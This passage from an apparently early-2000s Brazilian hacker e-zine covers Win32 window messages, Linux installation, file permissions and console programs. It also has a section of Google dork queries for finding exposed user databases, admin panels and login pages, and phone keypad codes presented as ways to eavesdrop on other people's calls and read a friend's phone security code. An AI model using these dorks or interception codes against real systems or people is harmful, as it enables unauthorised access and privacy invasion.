case WM_CREATE:{
FazAlgumaCoisa();
}
}

return DefWindowProc(hWnd,msg,wParam,lParam);
}

As mensagens  aí enviadas  correspondem, respectivamente,  à quando  a janela  é
finalizada e criada.

DefWindowProc corresponde  à uma  função que  recepta as  mensagens que  não são
processadas pela WinProc.  Os parâmetros são  os mesmos da  WinProc. Essa função
garante que todas as mensagens sejam receptadas de maneira correta.

return 0; geralmente funciona também ;]

As mensagens mais comuns são citadas a seguir com seus respectivos eventos:

WM_ACTIVATE
OnActivate, OnGetFocus, OnEnter

WM_ACTIVATEAPP, WM_KILLFOCUS
OnLostFocus, OnExit, OnDeactivate

WM_CLOSE
OnClose

WM_COPY
OnCopy

WM_CREATE
OnCreate, OnLoad

WM_CUT
OnCut

WM_DESTROY
OnDestroy

WM_ENABLE
OnEnable

WM_HELP
OnHelp

WM_KEYDOWN
OnKeyDown

WM_KEYUP
OnKeyUp

WM_KILLFOCUS
OnLostFocus, OnExit, OnDeactivate

WM_LBUTTONDNLCLK
OnDblClick (Botão esquerdo)

WM_LBUTTONDOWN
OnMouseDown (Botão esquerdo)

WM_LBUTTONUP
OnMouseUp (Botão esquerdo)

WM_MBUTTONDBLCLK
OnDblClick (Botão do meio)

WM_MBUTTONDOWN
OnMouseDown (Botão do meio)

WM_MBUTTONUP
OnMouseUp (Botão do meio)

WM_MOUSEMOVE
OnMouseMove

WM_MOUSEWHEEL
OnMouseWheel

WM_MOVE
OnMoved

WM_MOVING
OnMove

WM_PAINT
OnPaint, OnRepaint

WM_PASTE
OnPaste

WM_QUIT
OnTerminate

WM_RBUTTONDNLCLK
OnDblClick (Botão direito)

WM_RBUTTONDOWN
OnMouseDown (Botão direito)

WM_RBUTTONUP
OnMouseUp (Botão direito)

WM_SETFOCUS
OnActivate, OnGetFocus, OnEnter

WM_SIZE
OnResized

WM_SIZING
OnResizing, OnResize

WM_TIMER
OnTimer

WM_UNDO
OnUndo

A partir daí  você já está  apto a monitorar  suas próprias mensagens,  mas, por
enquanto, vamos montar um simples programa que não faça nada menos do que aquilo
que aprendemos até agora, exceto o uso da função API SetWindowText(HWND,char  *)
que modifica a string da barra de título da janela (Caption):

/*Programa simples de exemplo*/

#include
#pragma hdrstop      //diretiva de pré-processador

LRESULT CALLBACK WinProc(HWND,UINT,WPARAM,LPARAM);

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR nCmdLine,
 int nCmdShow)

{
MSG msg;
WNDCLASSEX wnd;
wnd.cbClsExtra = 0;
wnd.cbSize = sizeof(WNDCLASSEX);
wnd.cbWndExtra = 0;
wnd.hbrBackground = (HBRUSH) COLOR_WINDOW;
wnd.hCursor = LoadCursor(NULL,IDC_ARROW);
wnd.hIcon = LoadIcon(NULL,IDI_APPLICATION);
wnd.hIconSm = LoadIcon(NULL,IDI_APPLICATION);
wnd.hInstance = hInstance;
wnd.lpfnWndProc = (WNDPROC) WinProc;
wnd.lpszClassName = "Janela";
wnd.lpszMenuName = NULL;
wnd.style = NULL;

if(!RegisterClassEx(&wnd)){PostQuitMessage(0);}

HWND handle = CreateWindowEx(NULL,"Janela","Janela de Exemplo",
WS_OVERLAPPEDWINDOW,150,150,300,300,GetDesktopWindow(),NULL,hInstance,NULL);

if(!handle){PostQuitMessage(0);}

ShowWindow(handle,nCmdShow);
UpdateWindow(handle);
while(GetMessage(&msg,NULL,0,0)){
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return 0;

}

LRESULT CALLBACK WinProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{

switch(Msg){
case WM_RBUTTONDOWN:
SetWindowText(hWnd,"Clique direito");
break;

case WM_LBUTTONDOWN:
SetWindowText(hWnd,"Clique esquerdo");
break;

case WM_MBUTTONDOWN:
SetWindowText(hWnd,"Clique com botão do meio");
break;

case WM_MOVE:
SetWindowText(hWnd,"Janela movida");
break;

case WM_SIZE:
SetWindowText(hWnd,"Tamanho modificado");
break;

case WM_KEYDOWN:
SetWindowText(hWnd,"Tecla pressionada");
break;

case WM_DESTROY:
PostQuitMessage(0);
}

return DefWindowProc(hWnd,Msg,wParam,lParam);

}

/*Fim do programa!

Este programa foi compilado em  Visual Studio 6.0. A macro  WIN_32_LEAN_AND_MEAN
foi utilizada,  embora não  tenha sido  citada aqui.  O programa  compilado está
disponível aqui e possui 152 KB.*/

Bom, agora  você já  sabe criar  uma janela  simples e  manipular as  principais
mensagens que podem  vir a ocorrer.  No próximo capítulo  entraremos em detalhes
nos  controles  simples  de  Windows,  e  ainda  veremos  alguns  parâmetros das
mensagens mais comuns e aprenderemos alguns truquezinhos ;]]

Xor´s para todos ;]

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 07 ]=-=[ Instalando o Linux pela 1ª vez ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Como vão Newbies?
   Isso é só um básico pra quem quer se aventurar no linux, mas não sabe como  e
não quer perder o rwindows por motivos de força maior... :)
   Se você tem  um HD de  20GB  e está  usando seu sistema  tudo numa  partição,
você teria   que  perder   tudo  se  quisesse  criar   uma  outra  partição. Mas
existem  programas  que  redimensionam  o   seu tamanho,   e  o  maior  destaque
neles, são  a facilidade e (in)segurança que eles proporcionam.

Vamos aos exemplos:
   Você tem extamente  10GB para seu  linux com um  PII 233Mhz e  64RAM. Baixe o
programa "Partition Star", que é menos  que 1MB de tamanho e tem  uma facilidade
tremenda. Baixe ele  em: http://www.star-tools.com/english/download.html. Até  o
término dessa edição ele se encontrava na versão 2.01.
   Após instalado o  programa, ele exibe  todas as partições  encontradas em sua
tabela de partição. Agora o resto é simples. Abra a partição em que se  encontra
o seu windows e diminua  o tamnho tanto em GB  como em %. De OK  para confirmar,
salve as alterações e reinicie o computador.
   Após  isto,  volte ao  programa  e clique  num  espaço em  branco  debaixo da
primeira partição sua, e veja que mostrará a quantidade total de espaço sobrando
na qual poderá ser transformada em uma outra partição.
   Dos 10GB, coloque 9,872GB e na hora de selecionar o file system, coloque  83
- Linux Native. Depois crie outra com o resto do espaço que sobrou: 128MB - e  o
file system 82 - Linux Swap.

   Salve as alterações, reinicie e comece  a instalar o linux bootando pelo  CD.
Ele reconhe as partições windows, linux native e swap!!!
   Agora vem a parte crítica. Nem tudo sai às 1000 maravilhas e vou citar alguns
problemas que enfrentei:

- Dá uma mensagem de erro quando se tenta diminuir o tamnho da partição.
   Isso é uma limitação que o  partition star possui. Para conseguir fazer  esse
redimensionamento, você deve primeiramente  desfragmentar o disco por  completo.
Por que? Para mover todos arquivos que se encontraram no final da unidade para o
começo, deixando assim o espaço livre.

- Quando abro o aplicativo aparece um erro de operação ilegal e nada acontece.
   Bem, isso geralmente acontece  por dois fatores: 1  - Seu anti-vírus está  em
execução ou algo parecido. 2 -  Alguns arquivos seus do windows podem  não estar
presentes ou corrompidos (novidade...). Mas  nessa versão 2.01 não ocorreu  esse
erro comigo. Mas de qualquer forma, você pode utilizar em modo DOS (PSDOS).

- Quando faço alguma alteração no C: ele não salva essas alterações.
   Isso geralmente  acontece porque  você está  usando o  C: nesse momento. Para
isso de  o boot  pelo disquete  e efetue  novamente as  alterações. Outro motivo
seria o anti-vírus.

- Como faço para criar esse boot pelo disquete?
   Ao abrir o programa clique em: File, Create Emergency Disk, e Finish. Agora é
só dar o boot pelo floppy na inicialização do sistema.

- Minhas partições não formatam e/ou dão erro na instalação do linux.
   Isso é decorrente de badblocks. A  única solução é você formatar checkando  o
disco inteiro para ele achar os possívei clusters danificados, ou se você  tiver
uma idéia de onde estão, isolar a área numa outra partição.

   É só galera,  só demonstrei o  básico desse programa  para windows pois  é de
fácil manuseio e bem pequeno. O melhor mesmo é o Partition Magic 8, que não se é
necessário nem  fazer a  desfragmentação. Mas  pra quem  não quer ficar baixando
30MB, o  partition star  é uma  ótima solução  custo/benefício. O  serial dele é
fácil de  achar na  net. Desculpem  por esse  texto bem  básico, mas  como é  só
voltado para  newbies que  querem migrar  de windows  para linux  de uma vez por
todas, embora muito ainda ficarão com o windows wm sua winchester.

   Espero   que agora   não deem   mais desculpas   para não  usar o  linux(fora
aquele do driver de modem). Abraços e juízo.

            []´s

            IP_FIX.

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 08 ]=-=[ Permissões de Arquivos ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

*** Permissões de arquivos e diretórios ***

Antes devemos saber que todas as  informações sobre os arquivos vem do  inode. O
inode guarda os  dados sobre o  UID e GID  do dono do  arquivo, permissões dele,
tipo e o timestamp do arquivo. (dados sobre a última modificação e etc..).

Vendo o inode --> basta dar um "ls -l"

exemplo:

[root@Jakk root]# ls -l

drwx------    3 root     root         4096 Out  4 02:55 Desktop
drwxr-xr-x    2 root     root         4096 Set 14  2001 backup
drwxr-xr-x    9 root     root         4096 Out 12 01:00 tmp

[root@Jakk root]#

São 3 níveis de permissões :
Dono: só pode ser 1, dono do arquivo
Grupo: membros de um determinado grupo
Outros: o resto dos usuários do sistema
As  permissões  so  são  apresentadas mesmo  depois  do  primeiro  bit na  ordem
"rwx".Este esquema  funciona da  seguinte forma,  depois do  primeiro bit, vem 3
bit's referentes as permissões do proprietário do arquivo; os 3 seguintes são do
grupo e os 3 últimos são do resto do sistema .

*** As permissões de fato ***

Vou mostrar as permissões básicas. São elas "r", "w" e "x".

*r --> Read
arquivo : pode ser lido
diretório : pode ser visto o seu conteúdo

*w --> write
arquivo : pode ser adicionado e alterar um arquivo
diretório : pode-se apagar ,criar e/ou modificar qualquer arquivo e/ou diretório
que esteja dentro desse diretório mesmo que este não tenha essa permissão

*r --> eXecute
arquivo : pode-se excutar o programa  ou shell script diretório : pode  "entrar"
no diretório. Essa tem um porém , porque nada adianta você ter uma permissão "w"
se nao tiver "x". Mas "r" sem "x" ainda pode-se ver o conteúdo com limitações

*** Alguns comandos ***

*chmod
O chmod serve para que você possa mudar as permissões de um arquivo(claro que vc
tem que ser o dono do arquivo ou root)

observe isso --> x = 1, w = 2, r = 4

essa relação é utilizada pra vc modificar as permissões dos arquivos

exemplo:    chmod 767 programa

Cada número corresponde a  um nível.Observe cada número  o primeiro número 7  eh
formado pela soma dos numéros correspondentes as permissões . 1(x) + 2(w) + 4(r)
= 7

Veja :    ,--------------,----------,
          |   permissão  | cálculo  |
          |--------------|----------|
          |    ---       |    0     |
          |    --x       |    1     |
          |    -w-       |    2     |
          |    -wx       |   2+1    |
          |    r--       |    4     |
          |    r-x       |   4+1    |
          |    rw-       |   4+2    |
          |    rwx       |  4+2+1   |
          '--------------'----------'

OBS.: Só é valida para as permissões "básicas" (rwx).

*ls

Exemplo:

4 drwx------    4 fernando fernando     4096 Out 12 01:20 Desktop
4 drwx------    8 fernando fernando     4096 Out 12 00:33 Mail
4 drwxrwxr-x    3 fernando fernando     4096 Set 28 13:23 OpenOffice.org1.0.2
4 drwxrwxr-x    9 fernando fernando     4096 Out 11 14:53 kvirc-3.0.0-beta2
4 drwxr-xr-x    2 fernando fernando     4096 Set 23 19:49 linux
4 drwxrwxr-x    8 fernando fernando     4096 Out 10 08:30 programas
4 drwx------    4 fernando fernando     4096 Out 11 23:29 tmp
4 drwxr-xr-x    8 201      201          4096 Set 23 11:36 vmware-distrib
4 drwxr-xr-x   22 1000     users        4096 Set 22 19:21 wine-20030911

Este 'd' no primeiro bit significa diretório.

veja as outras possibilidades

 ,--------------,------------------------------,
 |  Caractere   |       Significado            |
 |--------------|------------------------------|
 |     -        |     arquivo regular          |
 |     b        |   dispositivo de blocos      |
 |     c        | dispositivo de caracteres    |
 |     d        |        diretório             |
 |     l        |      symbolic link           |
 |     p        |          FIFO                |
 |     s        |         socket               |
 '--------------'------------------------------'

Bom eu fico por aqui espero que tenha sido interessante e compensador...

(Jakk®SN)(Nikiti-Rj)

- EOF -

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 09 ]=-=[ Programas em Modo Texto ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

PROGRAMAS PARA LINUX EM MODO TEXTO

by Green Hornet

Escrevo  esse texto  pensando naqueles  que estão  iniciando no  Linux, -como  o
IP_FIX colocou que o objetivo inicial  do MOTD eh começar com txts  voltados pro
pessoal newbie(quase lammer :-) -.
Que conseguiram  instalar o  sistema,mas que  ainda se  sentem perdidos  e estão
procurando programas que executem tarefas semelhantes as que usavam no windows.

O detalhe eh que  darei enfase só em  softs que rodam pelo  shell(modo texto) ja
que esse eh um dos grandes medos de quem ta começando.
Alguem pode perguntar porque não falar de programas de interface grafica?
Amigo,como geralmente as pessoas estão  mais habituadas ao ambiente de  janelas,
creio ser mais intuitivo do que trabalhando pelo console.

Alem do que muitas interfaces graficas dependem de um bom hardware para  rodarem
satisfatoriamente,como o kde por exemplo.
Ja pelo prompt,voce pode rodar ate naqueles 486 velhos e com 8 de ram :-)
Lembrando que os programas aqui citados estao com enfase na distribuicao Slackware.

Caso sua distro não tenha algum  desses programas,basta ir a algum desses  sites
na net(freshmeat.org, sourceforge.net, linuxpackages.org, rpmfind.net...)

O  primeiro item  importante para  voce trabalhar  pelo prompt  eh habilitar  o
recurso de GPM na instalação,que permite usar o mouse pelo shell.
Outro fator eh habilitar o frame-buffer do terminal,isso pode ser feito editando
o arquivo de configuracao do lilo (/etc/lilo.conf).

Segue uma tabela pra voce usar o que for mais adequado :

vga=791 : 1024x768, 16 bits de cor.
vga=790 : 1024x768, 15 bits de cor
vga=773 : 1024x768, 8 bits de cor
vga=788 : 800x600, 16 bits de cor
vga=787 : 800x600, 15 bits de cor
vga=771 : 800x600, 8 bits de cor
vga=785 : 640x480, 16 bits
vga=784 : 640x480, 15 bits
vga=769 : 640x480, 8 bits.

depois de edita-lo,digite lilo (como root).

Uma prova de que esta funcionando  bem e quando aparecer o Tux(pinguim)no  canto
superior esquerdo assim que a maquina inicializar o Linux.

                                    INTERNET

PARA CONECTAR NA NET SEM USAR DISCADORES**:

Minha primeira dica é para se conectar  à Internet usando chat + pppd, ou  seja,
sem a necessidade de discadores como WvDial e kPPP.

Exemplo do provedor iG:

Crie   os   arquivos    /etc/ppp/iG,   /etc/ppp/options,   /etc/pap-secrets    e
/etc/ppp/peers/iG com o seguinte conteúdo:

/etc/ppp/iG

TIMEOUT 3
ABORT BUSY
ABORT ERROR
ABORT "NO ANSWER"
ABORT "NO DIALTONE"
REPORT CONNECT
"" "AT&F1"
OK "ATDT15002000"
TIMEOUT 120
CONNECT

Se necessário, modifique AT&F1 (string  de inicialização) e 15002000 (número  de
telefone).

/etc/ppp/options

ttyS1
115200
chap-max-challenge 100
crtscts
defaultroute
holdoff 5
lcp-echo-failure 10
lcp-echo-interval 60
lock
persist
usepeerdns

Obs: * ttyS1 = COM2

/etc/pap-secrets

"ig" * "ig"

O primeiro 'ig' contém o login, o segundo a password.

/etc/ppp/peers/iG

connect '/usr/sbin/chat -f /etc/ppp/iG'
name ig

* 'ig' = login

Digite:
ln -sf /etc/resolv.conf /etc/ppp/resolv.conf

Digite:

alias iG='/usr/sbin/pppd call iG'

Digite iG para conectar. Digite kill -INT `cat /var/run/ppp0.pid` para desconectar.
Não é necessário ser root.

Default:

Discar no máximo 100 vezes, uma a cada 5s.
Desconectar após 10 vezes sem reposta do link, uma a cada 60s.
Obviamente  para esse  script funcionar  eh necessario  que o  Sistema ja  tenha
reconhecido o seu modem, para esse assunto recomendo a leitura de um txt do Nash
que fala sobre modems.

                                    BROWSERS

Para ver paginas  da net(Browsers) recomendo  o links e  o lynx,essa eh  a dupla
mais conhecida. O lynx suporta melhor scripts,tabelas,javascripts e outros.
Mas você pode usar o links com recurso de imagens,isso mesmo você pode ver

URLs com as fotos e outros!!,para isso precisara instalar a lib: aalib.tar.gz
(http://aa-project.sourceforge.net/aalib/)

descompactar (tar -zxvf , entrar na pasta onde foi colocado as libs  :
cd  ,  digitar:  ./configure,  depois :  make,  e  por  ultimo :  make
install(como root).

E depois instalar uma versão mais nova do links,pegue uma versao em codigo fonte
e quando for compilar,use ./configure --enable-gui. Dai quando for abrir o links
basta usar

links -g http://cdm.frontthescene.com.br ,que você vera o site com as suas imagens.

Para abrir menu,tecle ESC. Dai voce tera varias opcões.

Para ir para outra URL digite "g", e digite o site desejado.
Para sair do links tecle "q".
Para inserir no bookmarks tecle "s".
Para voltar "z".
Para abrir o history ">".

                                      IRC

Para IRC um dos mais usados eh o BitchX,

Seus comandos basicos sao:

Para entrar num canal        : BitchX nick irc.servidor.com
entrar no canal                   : /j #canal
sair do canal                       : /part #canal
abre um pvt com                 : /q
manda msg para nick ou canal : /m
exibe info sobre             : /whois
exibe end. de dns            : /dns
exibe versao do BitchX       : /sv
manda/recebe arquivos        : /dcc  #nick
abre um dcc chat com         : /chat
da op a usuario              : /op
tira op de um usuario        : /deop
muda topico                  : /t
kicka um usuario             : /k
kicka e bane                 : /kb
desbane                      : /unban
exibe nicks do canal         : /scan
desconectar                  : /quit

                                      ICQ

Uma opcao eh o centericq(http://konst.org.ua/eng/software/centericq/info.html)

ele eh um  cliente de ICQ,AIM,MSN,Yahoo.Não  tem suporte a  mouse, mas de  facil
utilizacao.Existe tambem o micq.
E outras opcoes,basta ir naqueles sites que recomendei no inicio.

                                     EMAILS

Existem varios clientes de emails,como o elm,pine,mutt.

Explicarei o basico sobre  o Pine(apesar de que  acho melhor no inicio  a pessoa
usar outros clientes como o mozilla mail ou evolution).

Digite "pine"

Abrira um menu dai va no Setup.
tecle "C"(Config)
Dai você vai configurar o servidor necessario  como o de SMTP e as outras  infos
pessoais como username e etc...
Para sair do config tecle "E".
Para escrever mensagem,va no opção de menu "Compose Message".
Para ler mensagens abra a opção "MESSAGE INDEX".
A opção "A" para adicionar enderecos de email no seu bookmarks.
Para sair basta ir na ultima opção do menu principal "QUIT".
Recomendo antes da configuração a leitura do Help -a primeira opção do menu principal-.

Vale dizer que muitos desses clientes de email precisam que você esteja com  seu
DNS configurado.

                                    IMAGENS

Para ver imagens pelo  console um bom programa  eh o seejpeg, para  ver uma foto
basta usar: seejpeg . para sair tecle "q".

                                  MP3 E AUDIO

Para tocar mp3 o  meu preferido eh o  mpg123,para executar basta colocar  mpg123

Para editar o som  uma opcão eh o  rexima (aparecera um equalizador  e la podera
configurar a vontade com as setas)depois para sair basta digitar "q". Outro  com
as mesmas funções do rexima e o aumix.

Se quiser ouvir cds de audio um programa muito bom eh o workbone, basta  digitar
"workbone" no shell e colocar o cd,que ele reconhecera automaticamente.

Os principais comandos para ele sao:

Para tocar digite: "9"
Para pause/resumo: "8"
Para parar: "7"
Para pular faixa: "6"
Para repetir faixa: "5"
Para ir faixa anterior: "4"
Para ir a frente 15': "3"'
Para abortar(hard abort): "2"
Para voltar: 15' "1"
Para sair: "0"
Para ajuda : "."

                             GERENCIADOR DE ARQUIVO

Como gerenciador de  arquivo um classico  eh o mc  (Midnight Commander), ele  eh
leve,robusto e tem muitos recursos.

Para abri-lo basta digitar "mc".
Para andar pelos arquivos use as setas.
Embaixo tem um menu indicando as opcões que voce pode usar (help,menu,view,edit...)

Lembrando que essas opcoes se referem as teclas do F1,F2,F3...
Para visualizar um texto por exemplo,basta parar com o cursor emcima dele e teclar "F3".
Para abrir o menu de cima,tecle "F9".
Para sair tecle "F10".
Usando ele regularmente vera que ele eh bem pratico e rapido comparado a  outros
gerenciadores.

                                GRAVACAO DE CD'S

Para gravar cds existem algumas opcoes as principais sao o cdrecord e o bladeenc.
Primeiro para usar o seu gravador no Slackware voce deve recompilar seu kernel.
As opcoes sao para SCSI,ATAPI,IDE e de porta paralela.Depois recompile o kernel.
Depois disso para as gravadoras IDE/ATAPI,adicione essas linhas ao arquivo

/etc/modules.conf:

#alias scd0 sr_mod
#alias scsi_hostadaptor
ide-scsi
#options ide-cd
ignore=hdd

Depois reinicialize o Linux e digite:

#modprobe scd0
#modprobe scsi_hostadaptor

Reinicialize novamente e digite:

#cdrecord -scanbus

Dai surgira seu gravador de cd e o numero de dispositivo dele.
Esse comando vai te dar o  numero de dispositivo dele.Que você precisara  quando
for gravar.Adicionara o numero na opção "dev"

Para gravar

Existe duas formas de gravar

criando uma ISO ou criando a imagem e inserindo diretamente no cd.

Para criar IMAGEM no cd,digite :

#mkisofs -r -o  diretorio de arquivos

#Montagem de ISO

#mount -t iso9660 -o ro loop=/dev/loop0 nome_da_imagem/diretorio_de_montagem

Queimando o cd:

#cdrecord -v speed=4 dev=0,0,0 -data nome_da_imagem

Em discos regravaveis adicione a opção blank fast:

#cdrecord -v speed=4 dev=0,0,0 blank=fast -data nome_da_imagem

Para gravação direta:

#IMG_SIZE='mkisofs -R -q -print-size diretorio_dos_arquivos/ 2 >&1 | sed -e "s/.*=//"'
#echo $IMG_SIZE
#["O$IMG_SIZE" -ne 0 ] &&
#mkisofs -r diretorio_dos_arquivos/ |
#cdrecord speed=2 dev=0,6,0 tsize=${IMG_SIZE}s -data-

                                PARA LER TEXTOS

Para isso voce pode simplesmente usar os programas less,more ou cat.

                               EDITORES DE TEXTOS

Para editor de textos:

Ai entramos numa area  em que o Unix  eh imbativel!Porque alem de  termos muitas
opcoes,  voce  pode  usar  excelentes  ferramentas.Hoje  vo  escrever  sobre   o
VI(pronuncia VI-AI).

Mas existem outros como o Tradicional Emacs,o Joe,Pico,Jed...

O vi eh muito mais que um editor de textos.

Para abrir um texto nele,use vi , Para inserir texto tecle "i".
Para caminhar pelo texto use as setas quando terminar o texto tecle ESC
Para sair do texto use :q(com ":").
Para salvar            :w
Para sair e salvar     :wq (outro atalho para isso tecle ZZ)
Para alterar nome      :w

Isso eh o basico do basico,depois espero me aprofundar no uso desses editores.

Bom, por enquanto eh isso!!

Esse texto tambem  teve a intenção  de mostrar que  (ao contrario do  que muitos
pensam)voce  pode fazer  quase tudo  pelo prompt,  alem do  que mostrei  existem
outros recursos, como assistir filmes (pelo mplayer),jogar (existe varias opções
ate mesmo o Quake2!!) e caso precise de uma interface grafica leve, recomendo  o
BlackBox, Fluxbox e a brasileira WindowMaker.

Espero que esse texto seja util para alguem.
Se depender de mim sera o primeiro de muitos para esse grupo.

Quero agradecer ao pessoal que tem me  apoiado do CDM e do MOTD, em  especial ao
Nash Leon,o IP_FIX e ao inferninh0.

GreenHornet (moyfalela@ig.com.br)

Brasnet
#motd  #mercenaries

**Obs:não fui eu que criei  esse script(o de conectar pelo  iG),mas sinceramente
não  lembro  de onde  o  peguei,se o  autor  quiser,pode entrar  em  contato que
atualizarei dando os devidos creditos.

                                                            "YESHUA HAMASHIAH!!!"

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 10 ]=-=[ Hackeando pelo Google ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Google como ferramenta hacker !

Bom, que o google.com ja foi parte fundamental em varios hackings famosos  quase
todo mundo ja sabe... o problema eh que nunca encontrei um artigo que explicasse
como eh possivel transformar o google.com em uma poderosa ferramenta hacking.

Por este motivo decidi escrever um artigo basico sobre isto.

"allinurl:usuarios.mdb  site:.com.br"  busca  por  arquivos  de  banco  de dados
nomeados "usuarios.mdb" dentro do dominio mae ".com.br"

"allintitle:admin panel site:.org" busca  por supostas paginas de  administracao
dentro do dominio ".org"

"allinurl:login.asp"

lista todas  as paginas  com nome  de "login.asp",  e em  alguns casos  o google
exibira uma versao "cache" da pagina onde sera possivel ver o codigo asp.

Bom façam bom proveito e espero que tenham gostado do artigo .

Abraços BlackSheep182

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 11 ]=-=[ Códigos para Celulares ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Código 1: Grampeando ligações.(funciona só em aparelhos ericsson, CDMA , do t18d
para tras...)

Esse  código é  muito legal  galera... eu  mijo de  rir com  as coisa  que jah
escutei... ele é facim facim de fazer... soh que se você pular alguma coisa, bye
bye celular...
Ok, chega de bla bla bla...

1 - Ligue o celular(dããã)
2 - Digite 904059 e setinha p/ baixo.(akela qur vai pro menu)
3 - Digite YES , 1, seta cima
4 - Digite YES , 2 , seta cima
5 - Digite YES 86
6 - Digite YES, 3, CLR , 000995

Agora você ta escutano um chiado... logo logo grampeia uma ligação, fica frio...

DETALHE IMPORTANTE - Você só vai conseguir sair disso digitando o codigo: YES  3
seta cima.

Codigo 2: Mudando a porra do nome da operadora que aparece na telinha do cel...
(só funciona nos mesmos cels do codigo 1...)

1-Digite 987 + seta p/ baixo...
2-Se aparecer um  treco escrito: program  nam 1-2 ,  vc digita 1.Ae  vc começa a
descer com a tecla  da seta p/ baixo...  até aparecer o nome  da operadora...(se
nao me engano, aparece na quarta vez q  vc aperta a seta p/ baixo...) Ae eh  soh
vc editar, colocar o nome q quiser, e dar YES.

Codigo 3: Vendo a  senha do seu amiguinho,  e se fuçar um  pouco +, acaba com  o
celular dele ... puts... eheehhe
(Funciona só nos celz tipo nokia 3320)

1-Digite *3001#12345#

Pronto, entro nele... ae vai em security e ve a senha... pra sair tem q  desliga
o  cel... lembrando,  se vc  fuçar um  pokim, vc  acaba com  o celular  do seu
amiguinho...

Bom, é só isso...
Flw

Caiobat

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=[ 12 ]=-=[ Introdução ao Hacking Ético ]=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

#############################################################################
############################## UNSEKURITY TEAM ##############################
#############################################################################

IP_FIX: Atual Clube dos Mercenários, http://cdm.frontthescene.com.br

Desenvolvido por Nash Leon vulgo coracaodeleao.
nashleon@yahoo.com.br
Thanks Unsekurity Team.

Este e outros tutoriais podem ser obtidos em:
http://unsekurity.virtualave.net/

OBS: Nao nos responsabilizamos pelas informacoes aqui contidas, bem como
     do mau uso dos exemplos e dados aqui fornecidos.Todo material
     disponivel neste arquivo possui somente propositos educacionais.

OBS2: Isso aqui nao eh um zine, nem pretende se tornar.Trata-se apenas de
      um tutorial basico voltado para o pessoal NewBie, se voce eh 'elite',
      por favor, nao leia! Voce nao encontrarah informacoes uteis aqui.

---------------
1 - INTRODUCAO |
---------------

Demorou, mais aih estah a uniao de varios topicos de programacao relacionados ao
mundo fucador.Topicos  basicos, mas  que requerem  conhecimentos em  C e  Linux.
Resolvi incorporar a este tutorial uma parte com manifestos sobre varios  temas,
nao pretendo despertar odio com isso e sim, abrir a discussao em torno de alguns
pontos 'nao-tecnicos' que envolvem o mundo do fucador.Cada item do tutorial  tem
como  alvo  os  mesmo  leitores dos  tutoriais  anteriores,  ou  seja, Fucadores
NewBies. Fica avisado novamente que se voce eh 'elite' nao acharah nada util
neste tutorial.

----------------
2. - MANIFESTOS |
----------------

OBSERVACAO: OS PENSAMENTOS EXPRESSOS NESTE ITEM SAO DE MINHA AUTORIA,
	    SAO DE MINHA PESSOA.O UNSEKURITY TEAM DAH AOS SEUS MEMBROS A
	    LIBERDADE PARA SE EXPRESSAR DA MANEIRA QUE BEM ENTENDER.NO
	    ENTANTO, CADA MEMBRO POSSUI SEU PROPRIO MODO DE VER AS COISAS.
	    AS COISAS QUE ESCREVO AQUI NAO SAO COMPARTILHADAS POR TODOS
	    DO UNSEKURITY TEAM, E A RESPONSABILIDADE PELAS LINHAS QUE
	    SE ENCONTRAM NESTE ITEM CABE A MINHA PESSOA, NASH LEON,
	    ESTANDO DESDE JAH CLARO QUE EH UMA ATITUDE ISOLADA! AVISO
	    AO LEITOR QUE ELE NAO DEVE JULGAR O UNSEKURITY TEAM ATRAVES
	    DAS PALAVRAS E PENSAMENTOS DE UM SOH MEMBRO.

"Conhecereis a verdade e ela vos libertarah"

"De  que adianta  ter um  excelente conhecimento  tecnico sobre  o hacking,  mas
seguir por  caminhos detestaveis  pela comunidade  hacker???".O que  quero nesta
parte  eh compartilhar  um pouco  da minha  opiniao sobre  alguns assuntos  nao
-tecnicos, mas que envolvem  o mundo do fucador.Nao  adianta nada eu escrever  2
mil linhas de textos tecnicos para um cara se tornar cracker ou ser moldado como
um fantoche de grandes empresas porque nao foi bem informado! Se nao tivermos  o
minimo de senso critico, certamente seremos facilmente enganados por esta  corja
que  aih se  encontra.Vou dizer  o que  penso sobre  determinados temas,  mas o
